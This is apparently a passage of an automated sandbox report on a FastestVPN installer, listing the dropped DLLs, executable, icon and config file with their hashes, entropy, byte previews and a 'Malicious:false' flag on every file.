                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X4y..........." ..0.............n3... ...@....... ....................................`..................................3..O....@..H................*...`.......2..8............................................ ............... ..H............text...t.... ...................... ..`.rsrc...H....@......................@..@.reloc.......`......................@..B................N3......H........#................................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..(........%-.&r...ps....z(.......(.....*.0..................,..rM..ps....z.(.........,...(....o.......(.......(.....s....o.........(....(......(....o......(....o........&..(.....r...ps....o........*..........tu.......0..B..........(....%-.&+.o.......*&..(.....(....%-.&.+.(......s....o........*.............*.....0..B..........(....%-.&+.o ......*&..(.....

                                                                                                                C:\Program Files\FastestVPN\is-6E016.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):2059432
                                                                                                                Entropy (8bit):7.651137710710665
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24576:+3zNmj7tPN/PPINv2lYnvqfI1L3ciKKqjnTVlKJ+hgyiTebWmDXQHMkgXvYOdSYB:84vtPNvCv2Qqfobuvq+hqCTDgHMT
                                                                                                                MD5:01CF6EF766C41BB2C99A2CCCDECC69C1
                                                                                                                SHA1:8DD5EB983C1C8F2E3A2538E50295644BB778A69E
                                                                                                                SHA-256:9A9B95CA40D32FA23A615A122FA3AAF7AEB32FBEF2850D729F77C1169FFC0452
                                                                                                                SHA-512:9EE4D4D7852555F67CF0C9B372DCA87EC0727AB0A6FC5EAE309CF6BF5467FC75C6868A5E528D34AB605CDC736D30684D35A1451D4ABE3B99BA37D276474AC940
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....G............"...0......D........... ... ....@.. ...............................P ...`.................................^...O.... ...A...........B...*..............8............................................ ............... ..H............text........ ...................... ..`.rsrc....A... ...B..................@..@.reloc...............@..............@..B........................H.......DD..T`......-....... v...........................................0..O.......s....%.o....%.o ...%.o!...%..o".....o#........($........(%..._,...o&...(....*.*..(....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*...(.......(....(.......(....(.......(....(.....*.0..5........('...-..*.((.....o)...(*...(+...(,.......,..o-.....*............)........(....*2.(/...o0...*..(1...*.(2...*2.(....o3...*..(....o4...&.(.....o5....(.....o5....(....o6...&*2.(....o7

                                                                                                                C:\Program Files\FastestVPN\is-6KVN1.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):116872
                                                                                                                Entropy (8bit):6.726218253535254
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:8tw0r3S8FpUCSBCLiXdb0NphY3kWlon6ZhPn8agN6K/p:8mWi8FpCBCLybQakA/Pn8agNj/p
                                                                                                                MD5:B9F4D43230B7FB66B95AF05DC03B32DE
                                                                                                                SHA1:56F868C56FFF836CA61055499988F965DCA37D26
                                                                                                                SHA-256:A103634B16841E3A68DD4A6BCBDFC3A1651B8C9F1114D99BF01CA31297664E21
                                                                                                                SHA-512:50EB5DE7D0A1B5D7E1AC38209488635EF77733C2C78DC39D0D473904128DBFC67D4E3EC388D2C2D79645AFDF03FD1965386F6E6D21553C9A6DAB07A58549FD1E
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V.n.7.=.7.=.7.=.S.<.7.=.S.<o7.=.S.<.7.=._.<.7.=._.<.7.=._.<.7.=.S.<.7.=.7.=.7.=._.<.7.=._.<.7.=._3=.7.=._.<.7.=Rich.7.=........................PE..L...q._]...........!................O........0............................................@.............................T.......<.......................................p...............................@............0...............................text............................... ..`.rdata..4g...0...h..................@..@.data...4...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\is-950A5.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):22696
                                                                                                                Entropy (8bit):6.669675167195394
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:PICREYcfpyXOT9Z7a6WmYWXWIYiAh70FP27NBY3Yuv+9gfK:PIiE9QXM1xYioMK/Y/+9gi
                                                                                                                MD5:657A48C8DA3DE14059498E383EBEF318
                                                                                                                SHA1:ECCC9AB4E6804EB0581AC5BBD684B7DB5A13F028
                                                                                                                SHA-256:201EC78B195DCE51330985026A8A4EC641F9ACE53429C5C2F5BB3F1CE7BEEC4A
                                                                                                                SHA-512:C4F2410470BBEA5680958490B705C828254992441D27E5FB7837957583FDA8D639EA8D9EF00035DB63ABACF28C5E4560D642C1D19F144255908C44F5C37CE8DE
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....oY.........." ..0..$..........:C... ...`....... ....................................@..................................B..O....`...................*...........A............................................... ............... ..H............text...@#... ...$.................. ..`.rsrc........`.......&..............@..@.reloc...............,..............@..B.................C......H.......h'..p............?..X...0A......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*......(....*..(....*R. ...(...+%-.&("...*^. ...(#....(...+&~ ...*.s%...*"..s&...*..('...*.*....0........................((

                                                                                                                C:\Program Files\FastestVPN\is-9AV56.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):159368
                                                                                                                Entropy (8bit):6.32384599449582
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:OcqXDYZbIkCKezJaoCNVljUmcmAs6Jm4AFt2iPaTatnhrOKK/E:9qbKwcB4njeXBSTcpOT/E
                                                                                                                MD5:7AE17C855F3CC63174E90EA527B6138B
                                                                                                                SHA1:0FE1E1B2252511F33EDA3FFCF1F8FC8586AB040A
                                                                                                                SHA-256:26FF04208EC4D26EF4DDD9B3CF01C4D2A1544550BCD59EFDE6F30170053A1170
                                                                                                                SHA-512:453BA41332A704F491FC9E1EE5FBE9F883EDDB4C26A71D207C93992726E9C5B7FEDC48EEEE2A2087F64B083F9473EE794FB2C8F3B77C9DBCBBC47B67816BD156
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y..............Y.......................................................................Rich....................PE..L.....[...........!.........................................................`..................................................P.... ..`............@.......0..(...0...............................0...@............................................text....w.......................... ..`.rdata...A.......P..................@..@.data....6....... ..................@....rsrc...`.... ......................@..@.reloc..2(...0...0..................@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\is-9HV88.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):25984
                                                                                                                Entropy (8bit):6.291520154015514
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:1R973o62/KqcAnb05J3w0I5eUGef8s72XBWdvVW2JW8aJcyHRN7WEimpplex:1RZ4nNxnYTb6Blha
                                                                                                                MD5:E1E9D7D46E5CD9525C5927DC98D9ECC7
                                                                                                                SHA1:2242627282F9E07E37B274EA36FAC2D3CD9C9110
                                                                                                                SHA-256:4F81FFD0DC7204DB75AFC35EA4291769B07C440592F28894260EEA76626A23C6
                                                                                                                SHA-512:DA7AB8C0100E7D074F0E680B28D241940733860DFBDC5B8C78428B76E807F27E44D1C5EC95EE80C0B5098E8C5D5DA4D48BCE86800164F9734A05035220C3FF11
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..8...........V... ...`....... ....................................@..................................V..O....`...............B...#..........PU............................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........0...$...................T........................................(....*..(....z..(....z2.(....s....*2.(....s....*:........o....*.~....*~.-..(......}......}......}....*~.-..(......}......}......}....*Z..}......}......}....*J.{....%-.&.*o....*^.u....,........(....*.*~.{.....{....3..{.....{......*.*&...(....*2...(.......*....0..'........{......,..u....%-.&..(...+(....*(....*n.{....,..(....s....*.q....*..0..a.........{....o0.....,;..{....o2...(......;...3.~.......s......

                                                                                                                C:\Program Files\FastestVPN\is-9JEIB.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):30888
                                                                                                                Entropy (8bit):6.550270680442998
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:RzfFYXOvijvSGpUprWHEvgr0KnB4C7GrhIYiRSk0FP27NBY3Yuv+U:RxyOg9bxr9qaGKYi8K/Y/+U
                                                                                                                MD5:96D7E9527C5D8BDBA798F72B5FD9B94A
                                                                                                                SHA1:C9CE9813C74493084D6E3DDA37C35C8822CA381F
                                                                                                                SHA-256:6942DC9FDBB229D066BA3E1844883B9DA3EAE21F7035FFF2674C3F19C6331B55
                                                                                                                SHA-512:BE88433F513C4D9F58BDDFED57427DEC12BA0490E2D7C79176144732FBB7969956FA55B03E462C50EA3508389B3C29BC5A559F4B6002C6022C93D059C65B5C44
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f6............" ..0..F...........e... ........... ....................................`..................................e..O....................N...*...........d..8............................................ ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B................be......H.......\4..$0............................................................(....*..{....*"..}....*..{....*"..}....*V.(......(......(....*.0..7.........(....}.......}.......}......|......(...+..|....(....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..(......(......(......(.......(....*.0..?.........(....}3......}4......}5......}2.....|3.....(...+..|3...(....*..0..7.........(....}#......}$......}".....|#.....(...+..|#...(....*..0..?.........(....}.......}

                                                                                                                C:\Program Files\FastestVPN\is-AKR35.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):19624
                                                                                                                Entropy (8bit):6.761472837087098
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:pwG3NNuGs7lkviba8FLdwIYieB0FP27NBY3Yuv+4pdS:F+V7PpFLdZYixK/Y/+4S
                                                                                                                MD5:12A69C58D97C26D0132D493111E42345
                                                                                                                SHA1:0DCC8570C7D76B660746A0F657607864F8764AD4
                                                                                                                SHA-256:E6682B67F0C489BEB53C93C399D46CEAEBDD7096AD7DB984BF99DCC68E476F4C
                                                                                                                SHA-512:3335371222BB282C55F1309432CD776CD146EFA9B6D17BF23997EFA6E3A741512FD95B9382EB719F400C6A70BD13E6A445A6011716B4C7637CF1083C8D669BE6
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............8... ...@....... ...............................P....`.................................j8..O....@..............."...*...`.......7..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................8......H.......L'..`............................................................0..?.........(....}.......}.......}.......}......|......(...+..|....(....*..0..7.........(....}.......}.......}......|......(...+..|....(....*..0../.........(....}.......}......|......(...+..|....(....*..0..7.........(....}.......}.......}......|......(...+..|....(....*6..(...+(....*..(....*..(....*..{..........%..#...(.....%..!...(.....(.....(....*.0..e........{......E....8............(....o ......(!...

                                                                                                                C:\Program Files\FastestVPN\is-BJMR4.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):75432
                                                                                                                Entropy (8bit):6.020201057914009
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:mjb2NmqeZsE64aEKbMsZG0EN3ovewf8KnWE7LJ/ZEBiUN7TK/P:mjbUmqWL3M/WkV2ZNHK/P
                                                                                                                MD5:8DC8D595216B1D7703575B77282F7147
                                                                                                                SHA1:5FBA510AB9D9677B5AF28757BFCFC3E6EE3228F5
                                                                                                                SHA-256:7A8833790323071279C55854F35A1A802BF5D5766CABCFA381889460F95D5864
                                                                                                                SHA-512:F1E79E49CF5F10C9BC88D2AAA078FABD772027360A8C9692334AC3BBCDFEEDD93C2C6234F4DE6C6B4AFBD443FD6315633FE8943229EE0CB8CA6A6F29C2AE97EE
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...e.Z..........." ..0.............".... ... ....... .......................`......E.....`.....................................O.... ...................*...@..........T............................................ ............... ..H............text...(.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......pG...................... .......................................6.......(....*.~....*F~J......o.......*N........s....o...+*..0............(........~......o2...*.0............(........~K.....o....*.0..%.........(..........(........~L.......o....*....0..H.........(..........(........~M....o.............(....(.........{........o....*2~$....o....*2~#....o....*2~H....oz...*6~I.....o~...*:~J......o....*2~%....o....*2~&....o....*>.(.......o....*...0..N........,........s.....

                                                                                                                C:\Program Files\FastestVPN\is-D8A58.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                Category:dropped
                                                                                                                Size (bytes):15086
                                                                                                                Entropy (8bit):3.1108966039740653
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:96:FajQ4xW97nzsbzW+0eTODzfHvt0K/UrPdlMoi5U:FTd7nzsbyyqvt1/URiby
                                                                                                                MD5:BC1059DA39659B80A09C994AE6DB5DB7
                                                                                                                SHA1:D7E9D74133C98F897B94C42F09B93F10E3274EDB
                                                                                                                SHA-256:9543C96124919AE5B672FD7C23CCF5946A37FBB83A174112A33DA9FF37449B43
                                                                                                                SHA-512:F88CD2EC86E52EF31C471E580A9733D7DAAA7E3062C7DBCAAF9E50308934A4B679B364A4C1372D9021D9F5A504D5C310B8F631799AFA3248878B4F55A6CB704B
                                                                                                                Malicious:false
                                                                                                                Preview:............ .h...6... .... .........00.... ..%..F...(....... ..... .....@...................................2..A!...........................................................3..#.... ..-...................................................................m....................................................`.............. ................................................... ..]...............G........................................................ ...!...&...,{..........................7...................!...!... ... ......U....................U...+.../...,...'.......................,..7....................4..7(...)...-...4...@...>...2...........N.......................*..M&...*.......0...7...Y...j...r...?..i............................(..M...............................................................`...!..}..............._................................................0..!"..............5.......................................................I......................................

                                                                                                                C:\Program Files\FastestVPN\is-DC4V4.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):108200
                                                                                                                Entropy (8bit):7.332504567097915
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:Gn5VJM3T5szyxa9PuIKb8wmtyYVzH0cfNbQSi/GoP4YNjZ34A7GZK/ZIVQ:GWsEa9GIdyAUKWeYNl34AwK/ZV
                                                                                                                MD5:261A5044C94F318DEEA20D178ED9F36E
                                                                                                                SHA1:2A9704F70A543EE219481A3AA756A0CF151E1999
                                                                                                                SHA-256:D17E9B0C62C224D1BA56E7206D8A44FE382FE99752C511BA211A7725D83FEF43
                                                                                                                SHA-512:E53C320DBF6B2AAEEC01FE5AFF1FAD5A8D75B2483A78BA0E1B510F2A7A8C5C510ACD603541734F4A002748D0781FC11AFBF6967EBCDB41A6FC9A29C828ABC2A3
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l.g..........." ..0..p.............. ........... ....................................`.....................................O....................|...*..............p............................................ ............... ..H............text....n... ...p.................. ..`.rsrc................r..............@..@.reloc...............z..............@..B........................H........O..|w..................,.......................................V!.)1......s.........*...0..$........u......,...o....*.u......,...o....*.0..&........u......,....o ...*.u......,....o!...*...0..&........u......,....o"...*.u......,....o#...*B.(Y...-.(....*.*..{!...*"..}!...*>.{....o.......*.0..9........(*.....($.....(......,..o%...-..,..o&...-..,..o%...*.*.*....0...........s'...}.....((....(....-..s....+.(....}......{....o....(....}.....(!....{...........s)...o.....{....

                                                                                                                C:\Program Files\FastestVPN\is-DLS79.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):149896
                                                                                                                Entropy (8bit):6.136390335470081
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:PcRKLBm0ELV6Ra+eKBL24YzRk2XDuzEdnp+4WSspmfxPapkwN5RGV5xz/OEYW58R:qI0KRHeKBszRk2aApjsp7pBtZGh9
                                                                                                                MD5:70B1C15FDBBFB88F91965DC7BBC5527F
                                                                                                                SHA1:A473571DAC42819933CD7EF0C604F1EA0614D2F3
                                                                                                                SHA-256:109878A7A6F6BD13637B7E3A2EBC22D37423716ECD4E954CC09BACB84B92F62B
                                                                                                                SHA-512:C496EE2DDF6C401E9E48FB6D739C44200EBFE36B516E7608CECB3E32FEB620CE1531CC5DE26B1A4CD033C65FD002D6B6315B746CFB8B4D047A2954F6F33CA0A4
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5A............" ..0..............;... ...@....... ..............................Ri....`.................................N;..O....@...............&...#...`......X:..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................;......H.......h....Y..........H'.......9........................................(...+*.~....*.~....*.~....*..%-.&(....*..%-.&~ ...*....0..........(!......o"......(7.......*...................0..........(!......o...+...(...+....*....................~$...%-.&~%.....&...s'...%.$....(...+*.0..D.............,:......o(.....,......o(....3.........o)....(....+.....(...+.*.0..9.......s*......}+.....},.....}-................s/... ....(B...&*....0..$........,...r...p......%.....o~......o0...*

                                                                                                                C:\Program Files\FastestVPN\is-ERPH0.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):117928
                                                                                                                Entropy (8bit):6.160360774488817
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:Hzne5lbC/VlCG2OWMMdWWbWbWw+Hfz+8lKbchOD07PQCFP1IYmDe/WAbBuhEK/a:HFO4WMMdWWbWbWw+Hfz+8lKbchOD07PP
                                                                                                                MD5:FDFDFE021B53B630939D27C6C90CB435
                                                                                                                SHA1:AA0987A6EA6987BB9930B9167EC31C249EF9D885
                                                                                                                SHA-256:D753A7EF62BABC2ADB5D1DBEB0BEBAA2B042CC01CC219726F32F761BBB0A711D
                                                                                                                SHA-512:1FD0C74D0ED3AC4DF26D3E95C0F133E8024D77D1FD06E0C76C630D6AAC7B81124AA1DCA7CFFAC43BC34252A057414F8C3F8EC63A805323B1EF892B5F6A277D3B
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....8............" ..0................. ........... ..............................U.....`.................................w...O........................*..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.........................................................................{ ...*..{!...*V.(".....} .....}!...*...0..A........u........4.,/(#....{ ....{ ...o$...,.(%....{!....{!...o&...*.*.*. '.(k )UU.Z(#....{ ...o'...X )UU.Z(%....{!...o(...X*...0..b........r...p......%..{ ......%q.........-.&.+.......o)....%..{!......%q.........-.&.+.......o)....(*...*>..su...%.}^...*...0...........(+...,..*...(....o.....8t....o......-2.{,....{-.....g...%..".o.....(/...s0...sk....88....{,...r

                                                                                                                C:\Program Files\FastestVPN\is-EV611.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):26752
                                                                                                                Entropy (8bit):6.512503595653532
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:DulwnBhYlTVv2wK5idcgF4of1n6K9zUYJ:ywHYFtKYdcg/f1nXzUYJ
                                                                                                                MD5:970B6E6478AE3AB699F277D77DE0CD19
                                                                                                                SHA1:5475CB28998D419B4714343FFA9511FF46322AC2
                                                                                                                SHA-256:5DC372A10F345B1F00EC6A8FA1A2CE569F7E5D63E4F1F8631BE367E46BFA34F4
                                                                                                                SHA-512:F3AD2088C5D3FCB770C6D8212650EED95507E107A34F9468CA9DB99DEFD8838443A95E0B59A5A6CB65A18EBBC529110C5348513A321B44223F537096C6D7D6E0
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$:............" ..0..4...........S... ...`....... ....................................`..................................S..O....`...............@...(...........R..T............................................ ............... ..H............text....3... ...4.................. ..`.rsrc........`.......6..............@..@.reloc...............>..............@..B.................S......H........'..P*..................,R........................................(....*..(....*^.(.......1...%...}....*:.(......}....*:.(......}....*:.(......}....*:.(......}....*..(....*..(....*..(....*..(....*:.(......}....*..{....*:.(......}....*..{....*:.(......}....*..{....*..(....*:.(......}....*..{....*^.(.......2...%...}....*:.(......}....*..{....*z.(......}.......2...%...}....*V.(......}......}....*..{....*..{....*:.(......}....*..{....*..{....*"..}....*..{....*"..}....*..{

                                                                                                                C:\Program Files\FastestVPN\is-FDL4T.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):25976
                                                                                                                Entropy (8bit):6.331152456306087
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:Z90ljCvGQJ+GlfmER/asDZ0WN1L4meT6pmOW2ZZWeQMWMLHRN7S37EHR9zCt+:Z9EIGk+GlfmERxcFz2ZSCL+7Ex9zS+
                                                                                                                MD5:3C5DFBB4E3F1AD153EB2E203B56EA0AE
                                                                                                                SHA1:59623BF1D67D87264C165E421F12426DA998AF46
                                                                                                                SHA-256:9E8252429D0E6529B87A2C79A13119F4DF56ABE924949F3750B024C51D747378
                                                                                                                SHA-512:94DF20E98A2E5D7AC93B63EFEBCE4DAAFBF25AB6B4A2B76AF0BB46D9EDE102AC8C8E1147D5813CDB879AADD5A8AA4073FD0E6066286AF4EF4D368FAB983BE3B5
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....w............" ..0..4...........S... ...`....... ....................................`..................................S..O....`...............>..x'..........XR..T............................................ ............... ..H............text....3... ...4.................. ..`.rsrc........`.......6..............@..@.reloc...............<..............@..B.................S......H.......l,..l%...................Q........................................(....*.0..H.........~....,...~....*~..........(......~....%-.&s....%...........,..(......*........#<.......0..%.......~..........(...............,..(.....*....................0..........~..........(....(....o....(...+....,..(......*...........".......0..0.......~..........(....(.....o.....(...+....,..(......*.........$.......0..).......~..........(....(......o.......,..(.....*....................0..b...

                                                                                                                C:\Program Files\FastestVPN\is-FI5UV.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):432
                                                                                                                Entropy (8bit):5.0141792226861375
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:MMHdGzNFF7ap+5v5OXrRf/2//FicYo4xT:JduPF7NhOXrRH2/d9y
                                                                                                                MD5:8F6EB9E75E6A6F0C0D58FB697C10CEDF
                                                                                                                SHA1:6944935DFDC33E0C6DB26869BF25EDA85A2622D8
                                                                                                                SHA-256:E2B8677434501735FB0233ED0CC2FFEE5BF6FB4387C51DBCB2585A70E42E4F08
                                                                                                                SHA-512:A946252B2E3705EAE751A2672D4ADE1499ECEB28C48B4BE6150C4201EE20A7B9A4450C75E06B07F5DAA3528041A566931D988FBD0C2EA90240D61008895BA44A
                                                                                                                Malicious:false
                                                                                                                Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>

                                                                                                                C:\Program Files\FastestVPN\is-FS0VU.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):22184
                                                                                                                Entropy (8bit):6.685941492131545
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:1hKpVrz0BH8aZqmgBTKDAATaYIYikfF0FP27NBY3Yuv+8N:1hKpVcB15KO7aBYimOK/Y/+g
                                                                                                                MD5:AAA9DA932D572F5B22CBEE1B4E479ED6
                                                                                                                SHA1:D708727DED1298610C2E3D72C8792F12FC60CFF2
                                                                                                                SHA-256:73B55714DB609A1712FD4FC420CE18441E41BB7E3E94D73B11AE28C68CCB1124
                                                                                                                SHA-512:40A8E2CB18FB2D68F0945B6FBF259FA9331327116A6D21A85AAE6AA12600F7FDD3737B5E84E0AE04C584442016882926D9201E16C25EB937838C8BAC24358779
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z............." ..0.."...........A... ...`....... ...............................6....`..................................A..O....`..`............,...*...........@..T............................................ ............... ..H............text...."... ...".................. ..`.rsrc...`....`.......$..............@..@.reloc...............*..............@..B.................A......H........'.......................@.......................................(....*..0...............(....o........(....s....*...0............(.......(....s....(....*6r...p..(....*.0.._.......s!.....s....}.....{....r...p.r'..p(....o.........."...s....(....%~....(....,..{....o....s....z*..0..#.......(......-...(....*..3...(....*s....z...(....%~....(....,.r=..p.r'..p(....s....z*..0..#.......(......-..(....&*..3..(....&*s....z..0..7..........~....%-.&~..........s....%.....(.........

                                                                                                                C:\Program Files\FastestVPN\is-GTC50.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):31912
                                                                                                                Entropy (8bit):6.377831305172757
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:i4sSUSsK/Py54Iu67VMam4AX10KIUt0kYcT/EDYZGSPeyc8cHIlkLi7FIYihZM09:izNK/G4IfVswkYLy5L7yYihrK/Y/+mT
                                                                                                                MD5:CE66CBCDA6D3B5047691C4AFF63CFE79
                                                                                                                SHA1:358E3A2284798BE1C537756A41721B61643D2BEE
                                                                                                                SHA-256:B8551ECBE96BB718BAA56E053589A7F16561BFDAB86575441EC5FBE528B32B8C
                                                                                                                SHA-512:7BC26EDD1C018553B163B75250B5862D26B607C26BDBFB6934F0AC5CE20B04D1956EEAF3915CBCE2129CD992ECA6E1B1C311991427D485CB43969A05431270E4
                                                                                                                Malicious:false
